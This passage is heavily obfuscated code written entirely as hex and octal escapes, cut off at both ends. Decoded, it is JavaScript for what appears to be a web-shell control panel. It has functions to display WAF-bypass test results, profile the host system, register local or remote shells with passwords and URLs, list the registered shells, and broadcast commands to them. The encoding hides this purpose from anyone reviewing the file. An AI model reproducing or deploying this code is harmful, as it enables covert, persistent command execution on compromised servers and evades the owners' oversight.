\x6c\x28\x72\145\163\165\x6c\164\x2e\160\x61\x79\x6c\157\x61\x64\51\175\x3c\57\164\x64\x3e\xa\11\11\11\11\11\11\74\164\x64\76\44\173\x72\x65\x73\x75\154\x74\x2e\150\x74\164\160\x5f\x63\157\x64\145\x20\x7c\174\40\x27\x4e\57\101\47\175\x3c\x2f\x74\144\76\12\x9\x9\x9\11\11\11\74\164\x64\76\44\173\142\x6c\157\x63\x6b\145\144\175\x3c\57\x74\x64\x3e\xa\11\11\11\x9\x9\74\x2f\x74\x72\76\x60\73\12\x9\x9\x9\x9\175\x29\x3b\12\11\x9\11\x9\xa\11\11\x9\x9\150\164\155\x6c\x20\x2b\x3d\x20\x27\74\57\164\x62\157\144\x79\76\74\x2f\x74\141\142\x6c\145\x3e\47\x3b\12\x9\11\11\x9\12\x9\11\11\x9\x69\146\x20\50\x72\x65\163\165\x6c\x74\x73\x45\x6c\51\x20\x72\145\x73\x75\x6c\164\163\x45\154\56\151\156\156\x65\x72\110\x54\x4d\x4c\40\75\x20\x68\x74\x6d\154\x3b\12\11\x9\11\x9\x74\150\x69\163\56\164\x6f\141\163\164\50\140\124\145\x73\x74\145\x64\x20\44\x7b\x72\x65\163\56\x74\157\164\x61\154\137\164\x65\163\x74\145\x64\x7d\x20\164\x65\143\x68\x6e\x69\x71\x75\x65\x28\x73\51\140\x2c\x20\x27\x73\165\143\x63\145\x73\163\47\x29\x3b\12\x9\x9\11\x7d\40\x65\x6c\163\x65\40\173\12\11\11\x9\x9\x69\x66\x20\50\162\145\163\165\x6c\164\163\105\154\51\x20\x72\x65\163\165\x6c\x74\163\x45\154\x2e\151\156\156\x65\x72\110\x54\x4d\x4c\x20\x3d\x20\140\74\160\40\x73\x74\x79\154\145\75\42\143\157\x6c\x6f\162\x3a\x76\x61\162\x28\55\x2d\141\x63\143\145\156\164\55\162\145\144\x29\x3b\42\x3e\xe2\235\x8c\40\44\x7b\x72\x65\163\x3f\x2e\x6d\145\163\163\141\147\x65\40\x7c\x7c\40\47\x57\x41\x46\x20\x62\x79\x70\x61\x73\x73\40\x74\145\x73\164\40\146\x61\x69\x6c\x65\x64\56\x27\x7d\74\x2f\160\76\140\73\xa\11\11\11\x9\164\x68\151\163\x2e\164\x6f\141\163\164\x28\162\145\163\x3f\56\155\x65\x73\x73\141\x67\x65\40\174\x7c\40\x27\x57\101\x46\x20\x62\x79\160\x61\x73\163\40\164\145\163\x74\x20\146\141\x69\x6c\145\144\56\x27\54\40\x27\145\x72\162\x6f\162\x27\51\x3b\xa\x9\x9\x9\x7d\12\x9\11\175\54\12\x9\x9\xa\x9\11\x2f\x2f\x20\x53\x79\163\164\x65\x6d\x20\x50\x72\x6f\x66\151\154\x65\x72\12\x9\11\x61\163\171\x6e\143\x20\163\x79\163\164\x65\x6d\120\162\x6f\x66\x69\x6c\145\162\x28\x29\x20\173\12\11\x9\x9\x63\157\x6e\163\x74\40\160\162\x6f\146\x69\x6c\x65\124\171\x70\145\x20\x3d\40\144\157\143\x75\x6d\x65\x6e\164\x2e\x67\x65\x74\105\154\145\155\145\x6e\x74\102\x79\111\x64\x28\47\160\x72\157\x66\151\154\145\x72\55\x74\171\x70\145\x27\51\77\56\x76\141\154\x75\145\x20\x7c\174\40\x27\x66\x75\x6c\154\x27\x3b\12\x9\x9\11\12\11\x9\x9\143\157\x6e\x73\164\40\x72\x65\x73\165\x6c\x74\163\105\154\40\x3d\40\x64\157\143\x75\155\x65\156\x74\56\147\145\164\x45\x6c\145\x6d\145\x6e\164\x42\171\x49\x64\50\47\163\171\163\x74\x65\155\x2d\160\x72\157\x66\151\154\145\162\x2d\x72\x65\163\x75\x6c\x74\163\47\x29\73\12\11\11\11\x69\x66\x20\50\162\x65\x73\165\154\164\163\105\154\51\x20\162\145\x73\x75\x6c\164\x73\x45\x6c\56\x69\156\x6e\x65\162\110\x54\x4d\114\x20\x3d\x20\x27\x3c\x70\x20\x73\x74\171\x6c\145\75\42\x63\x6f\154\157\162\72\166\141\x72\50\x2d\x2d\141\143\143\145\x6e\164\x2d\147\x6f\154\x64\51\73\42\x3e\107\x61\x74\150\x65\162\x69\156\x67\40\163\x79\163\164\x65\155\x20\151\x6e\x66\x6f\x72\155\141\x74\151\157\x6e\56\x2e\56\74\57\x70\x3e\x27\73\12\x9\x9\11\12\x9\11\11\x63\x6f\156\x73\164\x20\x72\x65\163\40\75\x20\141\x77\141\151\x74\x20\164\x68\x69\163\56\141\x70\x69\x28\x27\163\171\x73\164\x65\x6d\x5f\160\162\x6f\146\x69\154\x65\x72\x27\x2c\x20\x7b\x20\x70\162\157\x66\151\x6c\145\x5f\164\x79\x70\x65\72\40\160\162\157\x66\x69\154\x65\x54\171\x70\145\x20\x7d\x29\73\12\x9\11\11\xa\11\x9\11\151\146\x20\x28\x72\145\163\x20\46\x26\40\x72\x65\163\x2e\163\x74\x61\164\165\x73\40\x3d\75\x3d\40\47\163\165\143\x63\x65\163\x73\47\51\40\x7b\xa\x9\x9\11\x9\154\x65\164\40\150\x74\x6d\x6c\40\x3d\x20\140\74\144\151\166\x20\163\x74\171\154\x65\75\42\160\x61\x64\x64\x69\156\147\72\61\x35\x70\x78\x3b\x20\x62\141\143\x6b\147\x72\x6f\165\156\x64\72\166\141\x72\x28\x2d\x2d\x62\x67\55\154\x69\147\150\x74\x29\x3b\40\x62\x6f\162\x64\145\162\x2d\x72\141\144\151\165\163\x3a\x36\x70\170\x3b\x20\x6d\141\162\147\x69\156\55\142\x6f\164\164\157\155\x3a\x31\162\x65\x6d\x3b\x22\x3e\xa\x9\x9\11\x9\11\x3c\x73\164\x72\x6f\156\147\76\xe2\234\x85\40\123\171\x73\x74\145\155\x20\160\162\x6f\x66\x69\x6c\145\x20\x67\x65\x6e\145\x72\141\x74\x65\x64\40\x61\164\x20\x24\173\x72\145\163\56\x74\151\x6d\x65\x73\x74\141\155\160\x7d\x3c\x2f\x73\x74\x72\157\156\147\x3e\xa\11\x9\x9\x9\74\x2f\144\151\166\76\xa\x9\11\11\x9\74\160\x72\x65\x20\x63\x6c\x61\x73\x73\75\42\x6f\165\164\160\x75\x74\x2d\142\157\x78\x22\x20\163\164\x79\154\145\x3d\x22\155\141\170\55\150\x65\151\147\150\164\72\x36\60\60\x70\170\73\40\157\166\x65\x72\146\154\157\x77\x2d\171\72\x61\165\x74\x6f\73\x22\76\44\x7b\x4a\123\x4f\116\x2e\x73\164\162\x69\156\147\151\x66\171\50\162\x65\x73\x2e\160\162\x6f\x66\x69\154\x65\54\40\156\x75\x6c\x6c\54\x20\62\51\x7d\x3c\x2f\160\x72\145\x3e\140\73\12\x9\11\x9\11\xa\x9\11\x9\11\x69\x66\40\50\x72\145\163\x75\154\x74\x73\x45\x6c\x29\40\x72\x65\x73\x75\154\x74\163\105\x6c\x2e\151\156\156\145\162\110\x54\x4d\x4c\40\x3d\x20\x68\164\155\154\x3b\12\11\11\11\x9\164\x68\151\163\56\x74\x6f\141\x73\164\50\47\123\x79\x73\x74\145\155\40\160\162\x6f\146\151\154\145\x20\x67\145\156\145\x72\x61\x74\145\144\x21\x27\54\40\x27\x73\x75\x63\143\x65\x73\x73\47\51\x3b\12\x9\x9\11\x7d\40\145\154\163\145\40\x7b\12\11\x9\11\x9\151\146\x20\50\162\x65\x73\165\154\164\x73\x45\154\51\40\x72\x65\163\165\154\164\x73\105\154\x2e\x69\x6e\x6e\x65\162\110\x54\115\114\x20\x3d\x20\x60\x3c\x70\40\x73\164\x79\x6c\145\x3d\x22\143\157\154\157\162\x3a\166\141\162\50\x2d\x2d\x61\x63\143\x65\x6e\x74\55\162\145\x64\51\73\x22\x3e\xe2\235\x8c\x20\44\173\x72\145\163\77\x2e\x6d\145\163\x73\141\x67\145\40\174\x7c\40\47\106\141\151\154\145\144\40\164\x6f\x20\x67\x65\156\145\162\141\x74\145\40\163\x79\163\164\x65\x6d\40\x70\162\157\x66\x69\x6c\x65\x2e\47\175\x3c\x2f\x70\x3e\140\73\12\11\11\x9\x9\x74\x68\151\x73\x2e\164\157\141\163\164\50\162\145\x73\77\56\x6d\145\163\x73\x61\147\145\x20\x7c\174\x20\x27\106\x61\151\154\x65\x64\40\x74\x6f\x20\147\x65\x6e\145\162\141\x74\x65\40\163\171\163\164\x65\155\40\x70\x72\x6f\x66\x69\154\x65\x2e\47\x2c\x20\x27\x65\x72\162\157\162\x27\x29\x3b\12\11\x9\x9\x7d\12\11\x9\175\54\xa\11\11\xa\11\11\57\x2f\x20\115\165\x6c\164\151\55\x53\150\x65\x6c\154\40\x4d\x61\x6e\x61\147\145\x6d\145\156\x74\12\x9\x9\141\x73\x79\x6e\143\40\162\x65\147\x69\x73\x74\x65\162\x53\x68\x65\x6c\154\x28\x29\40\x7b\12\11\11\x9\143\x6f\x6e\x73\164\40\151\x73\122\145\x6d\x6f\x74\x65\40\x3d\40\144\157\x63\165\x6d\x65\156\x74\x2e\x67\145\x74\105\x6c\x65\155\145\156\164\x42\x79\111\x64\x28\47\162\145\147\x69\163\x74\145\162\55\151\163\55\x72\145\155\x6f\164\x65\x27\x29\x3f\x2e\143\x68\145\x63\x6b\145\144\x20\174\174\40\146\141\x6c\x73\145\x3b\xa\x9\11\x9\xa\11\x9\11\x6c\x65\x74\40\x73\x68\x65\x6c\x6c\120\141\164\150\x20\x3d\x20\x27\x27\73\12\x9\11\x9\154\145\x74\x20\x73\x68\145\154\x6c\x4e\x61\155\x65\40\x3d\40\47\x27\73\12\11\11\x9\x6c\145\164\x20\163\x68\x65\x6c\154\x50\141\163\163\167\157\x72\x64\x20\75\40\x27\x27\73\xa\11\11\11\154\145\164\40\162\x65\x6d\x6f\164\145\x55\x72\154\40\x3d\40\47\x27\x3b\xa\11\11\11\xa\11\11\x9\151\x66\40\50\x69\x73\122\145\155\157\164\x65\x29\x20\x7b\12\x9\x9\11\x9\x72\145\155\x6f\x74\145\125\162\x6c\x20\x3d\40\x64\157\x63\x75\x6d\x65\156\x74\x2e\x67\145\164\x45\x6c\145\155\x65\156\164\102\x79\x49\144\50\x27\162\x65\x67\151\x73\x74\x65\162\55\162\145\155\157\x74\145\55\165\x72\x6c\x27\51\x3f\x2e\x76\x61\x6c\165\x65\40\174\x7c\x20\x27\47\73\12\11\11\11\x9\x73\x68\x65\154\x6c\116\x61\155\x65\x20\75\x20\144\157\143\165\x6d\x65\x6e\164\x2e\x67\145\x74\105\154\x65\x6d\145\156\164\102\171\x49\x64\x28\47\162\x65\147\151\x73\164\145\x72\55\162\x65\x6d\157\164\145\x2d\156\x61\155\x65\47\51\x3f\56\166\x61\x6c\x75\145\40\174\x7c\40\x27\x27\x3b\xa\11\11\x9\x9\x73\150\x65\154\154\x50\141\163\x73\167\157\x72\144\40\75\x20\144\157\x63\x75\x6d\x65\156\164\x2e\147\x65\x74\x45\x6c\x65\x6d\x65\x6e\164\102\171\x49\144\x28\x27\x72\x65\147\x69\163\x74\x65\162\x2d\x72\145\x6d\157\164\145\55\160\x61\x73\x73\x77\157\x72\144\x27\51\77\56\166\141\154\x75\145\x20\174\174\40\47\47\x3b\12\11\x9\x9\x9\12\x9\11\x9\x9\151\146\40\50\x21\162\x65\155\157\x74\x65\125\162\154\56\164\x72\151\x6d\50\51\51\40\x7b\12\11\x9\11\x9\x9\x74\x68\x69\x73\x2e\x74\x6f\141\163\x74\x28\x27\122\145\x6d\157\x74\145\40\163\x68\x65\154\x6c\40\x55\x52\x4c\x20\151\163\x20\162\145\x71\x75\151\x72\x65\144\56\x27\54\x20\x27\x65\x72\162\157\162\47\x29\73\12\11\x9\11\11\11\x72\145\x74\x75\x72\x6e\73\xa\x9\11\x9\11\175\12\11\11\11\x7d\40\145\x6c\163\x65\x20\x7b\xa\11\x9\x9\11\x73\x68\x65\154\x6c\x50\x61\164\x68\x20\x3d\40\144\157\x63\165\x6d\x65\x6e\x74\x2e\x67\145\x74\105\x6c\x65\155\x65\156\164\x42\171\x49\x64\50\47\x72\145\x67\x69\163\x74\x65\x72\55\163\x68\x65\x6c\154\x2d\160\x61\164\x68\x27\x29\77\x2e\x76\x61\x6c\x75\x65\x20\x7c\x7c\x20\x27\x27\x3b\12\11\11\x9\x9\x73\x68\x65\154\154\116\141\155\x65\40\75\40\144\x6f\x63\x75\x6d\x65\156\164\x2e\x67\x65\164\x45\154\145\155\145\156\164\x42\171\111\144\50\x27\x72\x65\147\151\x73\x74\145\x72\x2d\x73\x68\145\x6c\154\55\156\x61\155\x65\x27\x29\x3f\56\166\x61\x6c\x75\145\x20\174\x7c\x20\x27\47\x3b\12\11\x9\11\11\x73\x68\x65\x6c\x6c\x50\141\163\x73\x77\157\162\x64\x20\x3d\x20\x64\x6f\x63\165\x6d\145\x6e\164\56\147\x65\164\105\154\145\155\145\x6e\164\102\171\x49\x64\50\x27\x72\145\147\x69\x73\x74\145\x72\x2d\163\150\x65\x6c\x6c\55\160\141\x73\163\x77\157\x72\144\x27\x29\x3f\56\166\141\154\x75\145\x20\x7c\174\x20\47\x27\73\xa\11\11\x9\x7d\12\x9\x9\11\12\11\x9\x9\143\157\156\x73\164\40\x72\145\163\x75\154\x74\163\105\x6c\40\x3d\40\144\x6f\x63\165\155\145\x6e\164\x2e\x67\145\164\105\x6c\145\155\x65\x6e\164\x42\171\111\144\50\47\x72\145\147\x69\163\164\145\x72\x2d\x73\x68\145\154\154\55\x72\x65\x73\x75\154\x74\163\x27\51\73\xa\11\x9\11\x69\x66\40\50\162\145\163\x75\154\x74\163\x45\154\51\40\162\x65\163\165\154\164\163\x45\154\x2e\x69\x6e\156\145\x72\110\124\115\x4c\40\75\x20\x27\x3c\x70\40\163\164\x79\x6c\145\75\42\x63\157\x6c\x6f\x72\x3a\166\141\x72\50\x2d\x2d\141\143\x63\145\x6e\164\55\147\157\x6c\x64\51\x3b\42\x3e\x52\x65\x67\151\x73\164\x65\x72\x69\x6e\x67\40\x73\x68\145\x6c\154\x2e\56\x2e\74\57\160\x3e\47\x3b\xa\x9\11\11\12\x9\11\11\x63\157\x6e\163\164\x20\x72\x65\163\40\x3d\x20\141\167\x61\151\x74\40\x74\150\151\163\56\141\160\x69\50\x27\x6d\165\x6c\164\x69\x5f\x73\150\x65\154\x6c\x5f\162\145\147\151\163\x74\145\x72\x27\x2c\x20\173\x20\xa\x9\x9\x9\x9\x73\x68\x65\x6c\x6c\137\x70\x61\x74\x68\x3a\40\x73\x68\x65\x6c\x6c\120\141\x74\150\x2c\x20\12\11\11\11\11\163\150\x65\x6c\x6c\x5f\x6e\141\x6d\145\x3a\x20\x73\x68\145\154\x6c\116\x61\x6d\145\54\40\xa\11\11\11\x9\x73\x68\145\154\154\137\x70\141\163\x73\167\157\162\x64\x3a\x20\x73\150\145\x6c\x6c\x50\141\163\163\167\x6f\x72\144\54\xa\11\11\x9\11\162\x65\x6d\157\164\x65\137\165\162\x6c\72\x20\x72\145\x6d\x6f\x74\145\125\x72\154\xa\x9\x9\x9\x7d\x29\x3b\12\11\11\11\12\11\x9\x9\x69\x66\40\x28\x72\145\163\x20\x26\x26\40\162\x65\163\x2e\163\164\141\x74\x75\x73\x20\75\75\75\40\x27\163\x75\x63\x63\x65\163\163\47\51\x20\x7b\12\x9\11\11\11\x69\x66\x20\50\x72\145\163\165\154\164\163\x45\154\51\40\x7b\xa\11\x9\11\x9\11\x72\x65\x73\165\154\164\163\105\x6c\56\x69\x6e\156\145\x72\110\124\115\114\40\75\x20\x60\x3c\x64\x69\x76\40\x73\164\171\x6c\x65\75\42\160\x61\144\x64\151\156\147\72\61\65\x70\x78\x3b\x20\142\141\x63\x6b\147\x72\x6f\x75\156\x64\72\x76\141\x72\50\55\55\x62\147\x2d\x6c\151\147\x68\164\51\73\40\x62\157\162\x64\145\162\55\162\141\144\x69\165\x73\72\x36\x70\170\x3b\x22\x3e\12\x9\11\11\11\x9\11\74\x73\x74\x72\x6f\x6e\147\76\342\x9c\x85\x20\x53\x68\x65\154\154\x20\x72\145\147\151\x73\164\145\162\x65\x64\40\x73\x75\x63\x63\x65\x73\163\x66\x75\154\154\171\x21\74\x2f\163\x74\x72\157\x6e\x67\76\x3c\142\x72\x3e\xa\x9\x9\11\x9\11\11\x3c\163\160\141\156\x20\x73\164\x79\x6c\145\75\x22\x63\157\x6c\157\x72\x3a\166\141\x72\50\55\55\164\x65\x78\164\55\x6d\145\x64\x29\73\x22\x3e\x53\150\x65\154\x6c\x20\111\104\72\40\x24\x7b\162\x65\163\56\163\150\x65\x6c\x6c\x5f\x69\x64\x7d\x3c\x2f\163\x70\x61\156\x3e\74\x62\162\x3e\xa\x9\11\x9\11\11\11\x3c\163\160\141\156\x20\x73\164\171\154\x65\75\x22\143\x6f\x6c\x6f\x72\72\x76\x61\162\x28\x2d\55\x74\145\x78\x74\x2d\x6d\x65\144\51\73\x22\x3e\124\171\160\145\72\40\x24\x7b\151\163\122\x65\x6d\x6f\x74\x65\40\77\x20\47\360\237\214\x90\x20\x52\145\x6d\x6f\x74\x65\x27\40\x3a\x20\x27\360\x9f\222\xbb\40\x4c\157\x63\x61\154\47\175\74\x2f\x73\x70\x61\156\76\12\11\11\x9\x9\x9\74\x2f\x64\x69\166\x3e\x60\x3b\xa\11\11\x9\x9\x7d\12\x9\11\x9\11\164\150\151\163\x2e\x74\157\141\x73\164\x28\x27\123\150\x65\x6c\x6c\x20\162\x65\147\x69\163\164\x65\x72\145\144\40\x73\165\x63\143\145\163\x73\146\165\x6c\154\x79\41\47\54\x20\47\x73\165\143\x63\145\163\x73\x27\x29\73\12\11\x9\11\x7d\x20\x65\x6c\163\x65\40\173\12\x9\x9\11\x9\x69\146\40\x28\162\x65\163\165\x6c\164\163\x45\x6c\x29\40\162\145\x73\165\154\164\163\x45\x6c\56\151\156\156\145\x72\x48\x54\x4d\114\40\75\40\140\x3c\x70\x20\163\x74\171\154\x65\75\x22\143\x6f\x6c\157\162\x3a\166\141\162\x28\55\55\141\143\x63\x65\x6e\164\55\x72\x65\x64\x29\73\x22\76\xe2\x9d\x8c\x20\44\x7b\162\x65\163\x3f\56\155\145\x73\x73\x61\x67\145\x20\x7c\174\40\x27\106\141\x69\x6c\145\x64\40\x74\157\x20\162\145\x67\151\163\x74\145\x72\x20\x73\150\145\154\x6c\56\x27\175\x3c\x2f\x70\x3e\x60\73\12\11\11\x9\x9\164\x68\151\x73\x2e\x74\157\141\x73\164\x28\162\145\163\x3f\x2e\x6d\145\163\163\141\x67\145\x20\174\174\x20\47\x46\x61\x69\154\145\144\40\x74\157\40\162\x65\147\x69\x73\164\145\x72\40\163\150\145\154\x6c\x2e\47\x2c\x20\x27\145\162\162\157\x72\47\51\x3b\12\11\x9\x9\175\12\x9\x9\x7d\54\xa\x9\x9\xa\11\11\x61\x73\x79\x6e\143\x20\x6c\151\x73\x74\123\x68\145\x6c\x6c\163\50\x29\x20\x7b\xa\x9\x9\11\143\157\x6e\x73\x74\x20\162\x65\x73\165\154\164\x73\105\x6c\x20\x3d\x20\x64\x6f\x63\x75\155\145\156\x74\x2e\x67\x65\x74\x45\154\x65\x6d\145\156\x74\102\171\x49\x64\50\x27\154\151\163\164\x2d\x73\150\x65\x6c\x6c\163\x2d\162\145\x73\165\x6c\164\163\x27\51\73\xa\11\11\x9\x69\146\40\50\x72\x65\x73\165\154\x74\163\105\154\51\x20\x72\x65\x73\165\x6c\x74\163\x45\x6c\56\x69\x6e\156\x65\162\110\x54\x4d\114\40\x3d\40\x27\74\160\x20\163\164\171\154\145\x3d\42\x63\157\x6c\157\x72\x3a\166\x61\x72\x28\x2d\x2d\141\x63\143\x65\x6e\164\55\x67\157\154\x64\51\73\x22\76\114\x6f\141\144\x69\156\x67\40\163\x68\x65\154\x6c\163\56\56\x2e\74\57\160\76\x27\x3b\xa\x9\11\11\xa\11\11\11\x63\157\156\x73\164\x20\162\x65\163\x20\x3d\x20\141\167\x61\151\164\x20\164\x68\151\163\56\x61\x70\x69\50\47\x6d\x75\154\x74\151\x5f\x73\x68\145\x6c\x6c\x5f\x6c\151\163\164\x27\x2c\40\173\x7d\x29\x3b\xa\11\11\11\xa\x9\x9\x9\151\146\40\x28\162\145\x73\x20\x26\46\40\162\x65\163\x2e\163\164\x61\x74\165\163\40\75\x3d\x3d\40\x27\x73\165\143\143\x65\163\163\x27\x29\x20\173\xa\11\11\x9\11\154\x65\164\x20\150\x74\155\x6c\40\x3d\40\140\x3c\144\x69\x76\x20\x73\x74\x79\x6c\x65\75\x22\x70\x61\144\x64\151\x6e\x67\72\x31\65\160\x78\x3b\x20\142\141\x63\x6b\x67\x72\157\165\x6e\x64\x3a\166\x61\x72\x28\x2d\55\x62\x67\x2d\154\x69\147\x68\x74\x29\x3b\40\142\x6f\162\x64\x65\x72\55\x72\x61\x64\x69\x75\x73\x3a\x36\x70\x78\73\x20\x6d\141\x72\147\151\156\55\x62\x6f\164\x74\157\x6d\x3a\x31\162\x65\x6d\x3b\42\x3e\xa\11\11\x9\x9\x9\x3c\163\164\x72\157\156\x67\76\xf0\x9f\223\x8b\40\106\x6f\x75\x6e\144\x20\x24\x7b\162\x65\163\56\164\x6f\x74\x61\154\175\40\x72\145\x67\x69\x73\x74\x65\x72\x65\144\x20\163\150\145\x6c\x6c\50\x73\x29\74\57\x73\x74\162\x6f\156\x67\x3e\12\x9\x9\11\x9\x3c\57\144\151\166\76\140\x3b\12\x9\11\11\11\xa\11\x9\11\11\x69\x66\40\x28\162\x65\163\x2e\163\150\145\154\x6c\x73\40\46\x26\x20\x4f\x62\152\145\143\164\56\x6b\145\x79\x73\50\162\x65\x73\56\x73\150\145\x6c\x6c\x73\x29\56\154\145\156\147\x74\x68\x20\x3e\x20\60\51\40\x7b\xa\x9\x9\x9\11\x9\150\x74\155\x6c\x20\x2b\75\x20\47\74\x74\x61\142\x6c\145\40\x63\154\141\x73\163\75\42\162\x65\163\x75\x6c\164\163\x2d\x74\x61\142\x6c\x65\x22\x3e\x3c\164\x68\x65\x61\x64\76\x3c\164\162\x3e\x3c\x74\150\x3e\x54\171\160\145\x3c\57\x74\x68\x3e\x3c\x74\150\x3e\x4e\x61\155\x65\x3c\x2f\164\150\x3e\74\x74\150\76\120\141\164\150\57\x55\122\x4c\x3c\57\164\x68\76\x3c\x74\150\x3e\x53\164\x61\164\x75\x73\x3c\57\164\150\x3e\74\164\x68\x3e\114\141\x73\164\x20\x53\x65\145\156\x3c\x2f\164\x68\x3e\74\57\x74\x72\x3e\x3c\x2f\x74\x68\145\141\144\76\74\164\x62\157\x64\171\76\47\x3b\xa\x9\11\x9\x9\11\12\11\x9\11\x9\11\117\142\152\x65\143\164\x2e\145\156\164\162\151\x65\163\50\x72\x65\x73\56\x73\x68\145\x6c\154\163\x29\56\x66\x6f\162\105\x61\x63\x68\50\50\133\x69\144\x2c\x20\x73\150\x65\x6c\154\135\51\40\75\x3e\x20\x7b\xa\x9\x9\11\11\11\x9\x63\x6f\156\163\164\x20\163\164\141\164\x75\163\40\75\40\x73\x68\x65\154\154\x2e\163\x74\141\x74\165\x73\40\x3d\x3d\75\40\x27\141\x63\164\151\166\x65\47\x20\77\40\47\xe2\234\x85\x20\x41\143\164\151\166\x65\47\x20\x3a\x20\x27\342\235\x8c\x20\111\x6e\141\x63\x74\151\166\x65\x27\x3b\12\11\x9\x9\x9\11\x9\143\x6f\x6e\163\164\x20\154\x61\163\x74\x53\x65\x65\x6e\x20\75\x20\156\x65\167\x20\x44\141\x74\x65\50\x73\150\145\154\154\56\154\141\x73\x74\x5f\x73\x65\145\x6e\40\x2a\x20\61\60\x30\60\51\56\x74\x6f\x4c\157\143\141\154\x65\123\164\x72\x69\156\147\50\x29\73\12\11\x9\x9\11\x9\x9\143\157\x6e\x73\164\40\163\150\x65\154\x6c\124\x79\x70\145\40\75\x20\163\x68\145\154\154\x2e\151\x73\x5f\162\x65\155\157\164\x65\x20\x3f\x20\x27\360\x9f\214\x90\x20\x52\x65\x6d\x6f\x74\145\x27\40\x3a\40\x27\360\237\x92\273\40\x4c\157\x63\141\154\x27\73\12\11\x9\x9\11\x9\x9\x63\157\x6e\x73\164\x20\x73\x68\x65\x6c\154\x50\x61\164\x68\x20\75\x20\163\x68\145\x6c\x6c\56\151\163\x5f\x72\145\155\157\x74\145\40\x3f\40\50\163\x68\x65\x6c\x6c\x2e\x72\145\x6d\x6f\x74\x65\x5f\x75\162\x6c\x20\174\x7c\x20\47\x4e\57\x41\x27\x29\40\72\40\50\163\x68\x65\154\154\x2e\x70\x61\x74\x68\40\174\174\40\x27\x4e\x2f\x41\47\51\73\xa\11\x9\x9\11\x9\11\xa\11\x9\x9\11\11\x9\x68\x74\x6d\x6c\x20\x2b\75\40\140\x3c\164\162\76\12\x9\x9\x9\x9\11\x9\x9\74\164\144\x3e\44\173\x73\x68\x65\154\x6c\x54\171\x70\145\175\x3c\x2f\x74\x64\76\xa\11\x9\11\x9\x9\11\x9\x3c\x74\x64\x3e\x24\x7b\164\150\151\163\x2e\145\163\x63\x61\x70\145\110\164\155\x6c\50\x73\x68\x65\154\154\56\x6e\x61\x6d\x65\51\x7d\x3c\57\164\144\76\xa\11\x9\11\11\11\x9\x9\x3c\164\x64\40\163\164\171\154\x65\x3d\x22\x66\x6f\156\164\x2d\146\x61\x6d\x69\x6c\171\x3a\x6d\x6f\x6e\157\x73\160\x61\143\145\x3b\x20\x66\x6f\x6e\x74\55\163\151\x7a\145\72\60\56\70\65\x72\x65\x6d\x3b\40\x77\x6f\162\144\55\142\162\145\141\x6b\72\142\162\x65\141\153\x2d\141\x6c\154\x3b\42\76\x24\x7b\164\x68\x69\163\56\x65\x73\143\141\x70\x65\110\x74\155\x6c\50\x73\x68\x65\x6c\x6c\x50\x61\164\150\x29\x7d\74\x2f\x74\144\x3e\xa\11\x9\11\11\x9\11\x9\x3c\164\x64\x3e\44\173\163\x74\x61\x74\165\x73\x7d\74\x2f\x74\x64\x3e\12\x9\x9\x9\x9\11\11\11\x3c\164\x64\x3e\x24\173\x6c\141\x73\164\123\145\x65\156\175\x3c\x2f\x74\x64\x3e\xa\11\11\11\x9\x9\x9\x3c\x2f\x74\x72\76\x60\73\12\11\x9\11\11\x9\x7d\x29\x3b\xa\x9\x9\11\x9\x9\xa\x9\11\11\11\11\150\164\155\x6c\x20\53\75\x20\x27\x3c\57\x74\x62\157\144\x79\76\74\x2f\x74\x61\142\x6c\x65\76\47\x3b\xa\11\11\11\x9\175\x20\x65\154\x73\145\40\173\12\x9\x9\11\11\x9\x68\164\155\154\x20\53\75\40\x27\x3c\160\x20\163\164\x79\x6c\145\75\42\143\x6f\154\157\162\72\x76\x61\162\50\55\x2d\164\x65\x78\164\x2d\155\145\x64\51\x3b\x22\x3e\x4e\x6f\x20\x73\150\x65\154\x6c\163\40\x72\145\x67\151\x73\164\x65\162\145\144\40\x79\x65\164\x2e\74\x2f\x70\76\x27\73\xa\x9\x9\11\11\x7d\12\11\11\11\11\12\11\11\11\x9\x69\x66\x20\50\x72\145\x73\x75\x6c\x74\x73\105\x6c\51\40\x72\145\163\x75\x6c\x74\x73\105\154\56\151\156\156\x65\162\x48\124\x4d\x4c\40\75\x20\x68\164\x6d\154\x3b\12\x9\x9\x9\11\x74\x68\151\163\56\164\157\141\163\164\x28\x60\x46\x6f\x75\156\144\40\x24\x7b\x72\145\163\56\164\157\x74\x61\154\175\x20\163\150\x65\x6c\154\x28\163\x29\x60\x2c\40\47\163\x75\143\143\x65\163\163\x27\51\x3b\12\11\x9\x9\175\x20\x65\154\163\x65\40\x7b\12\x9\11\x9\x9\x69\x66\x20\50\x72\x65\163\x75\154\x74\x73\x45\x6c\x29\40\x72\x65\163\165\154\164\163\x45\154\x2e\x69\156\156\x65\162\110\x54\115\x4c\x20\75\40\140\74\x70\x20\163\x74\171\x6c\145\x3d\x22\143\157\x6c\157\x72\x3a\x76\141\162\x28\55\55\x61\143\143\145\156\x74\x2d\162\x65\x64\51\x3b\42\x3e\342\235\214\x20\x24\x7b\162\145\163\x3f\56\x6d\145\163\x73\x61\x67\145\40\174\x7c\x20\47\x46\141\151\x6c\145\144\40\x74\x6f\40\154\x69\x73\x74\40\x73\x68\x65\x6c\x6c\163\x2e\x27\175\74\57\x70\76\140\x3b\xa\11\x9\11\x9\x74\x68\151\x73\56\x74\157\x61\x73\x74\x28\x72\x65\x73\77\56\155\x65\x73\163\x61\x67\145\x20\174\x7c\40\47\106\141\151\154\x65\x64\x20\164\x6f\40\x6c\151\163\x74\x20\x73\150\x65\154\x6c\x73\x2e\47\54\40\x27\x65\x72\x72\x6f\162\x27\51\73\xa\x9\11\x9\x7d\12\x9\11\x7d\x2c\12\11\11\12\x9\11\141\x73\171\156\143\40\142\x72\x6f\141\144\143\141\163\x74\x43\x6f\155\155\x61\156\144\50\51\40\x7b\12\x9\x9\11\x63\157\156\163\164\40\143\x6f\x6d\x6d\x61\x6e\x64\40\75\40\144\157\143\165\155\145\x6e\x74\x2e\147\145\164\x45\154\x65\x6d\x65\x6e\x74\102\x79\x49\144\50\x27\142\162\157\x61\144\x63\141\x73\x74\x2d\x63\157\155\155\x61\156\144\x27\x29\77\x2e\x76\141\154\165\145\40\174\174\40\x27\47\73\xa\x9\x9\11\xa\x9\x9\x9\x69\x66\x20\x28\41\x63\x6f\x6d\x6d\141\156\x64\56\x74\162\x69\x6d\50\x29\51\40\x7b\xa\x9\x9\x9\11\164\150\151\163\56\x74\x6f\141\x73\164\50\47\x43\157\155\155\141\x6e\x64\40\151\163\x20\162\145\x71\x75\x69\162\145\144\56\x27\54\40\x27\x65\x72\x72\x6f\162\47\x29\x3b\xa\x9\x9\x9\11\162\145\x74\165\162\x6e\x3b\xa\x9\x9\11\x7d\12\x9\x9\x9\xa\11\x9\x9\x63\157\156\163\164\x20\x72\1